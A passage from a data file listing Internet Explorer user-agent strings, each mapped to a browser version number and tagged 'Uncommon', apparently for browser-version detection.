.NET4.0E; GWX:QUALIFIED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 635; BOOST) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI/2; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; browseforchangetoolbar_browseforchange),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/30.0.1599.69; GTB7.5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; McAfee),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENGBMSN; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3),11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSSEM),9,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),6,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAFSJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;FIFI),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322),8,Uncommon\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WebCruiser/3.5),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MATP),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; EIE10;ENUSWOL),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; McAfee),11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; playbrytetoolbar_Playbryte; Tablet PC 2.0; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C; .NET4.0E; McAfee),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATP; MATP; MATPJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSWOL),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/4.0(compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie9; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASAJS),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; BOIE9;ENUS),9,Uncommon\nMozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; TrafficBlazer 6.0),10,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MANMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461),5.5,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; playbrytetoolbar_Playbryte),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FunWebProducts; SearchToolbar 1.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C; InfoPath.2; AskTbOVO2/5.15.0.21954; BRI/2),8,Uncommon\nMozilla/5.0 (compatible; MSIE 11.0; Windows NT 10.0; WOW64; Trident/7.0; rv:11.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/6.0),10,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 1320) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MAGWJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; IE0006_ver1;EN_US),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; KTXN),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0),9,Uncommon\nMSIE 10.0,10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor; Tablet PC 2.0; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; MS-RTC LM 8),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729),9,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; BOIE9;ENCA; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAPBJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; yie11; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; McAfee; BRI/2; .NET4.0E; BOIE9;ENUS),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AskTbORJ/5.15.23.36191; IPH 1.1.21.4019; MS STORE DMC2.9.4919.1),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENGBMCM; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QS 4.2.4.0; QS 5.3.0.4; InfoPath.1; QS 4.2.4.0; QS 5.3.0.4),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461),6,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident/8.0),,Uncommon\nMozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Trident/5.0),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; APCPMS=^N201612260706324897089AE7ED23CDF3E63F_1299^; Trident/6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; MRA 4.6 (build 01425); .NET CLR 1.1.4322; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MATMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; MAAU; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; yie11),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.1; .NET CLR 2.0.50727),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASEJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MATPJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENNZ),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; QS 4.2.4.0; QS 5.3.0.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; QS 4.2.4.0; QS 5.3.0.4),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/7.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; InfoPath.3; LCJB),11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact info@netcraft.com),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Uncommon\nMozilla/5.2 (compatible; MSIE11.0; Windows NT 6.1; WOW64; Trident/7.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; McAfee; .NET4.0C; BRI/2),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; NP07; NP07),9,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; USPortal; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30),7,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/5.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; LCTE),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI/1; BRI/2; FunWebProducts; .NET4.0C),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; BTRS124307; SIMBAR={6C7A3AB7-4E15-41DC-8F2D-B187A383F4FE}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI/1; playbrytetoolbar_Playbryte),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDR; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C; InfoPath.3),9,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATPJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ATT-IE11; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0,7.0,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:QUALIFIED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; NP08; NP08; MAAU),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C),7,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MATP; MATP; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie8; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; FunWebProducts),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; NP07; NP07; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0; b2w 0.1) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 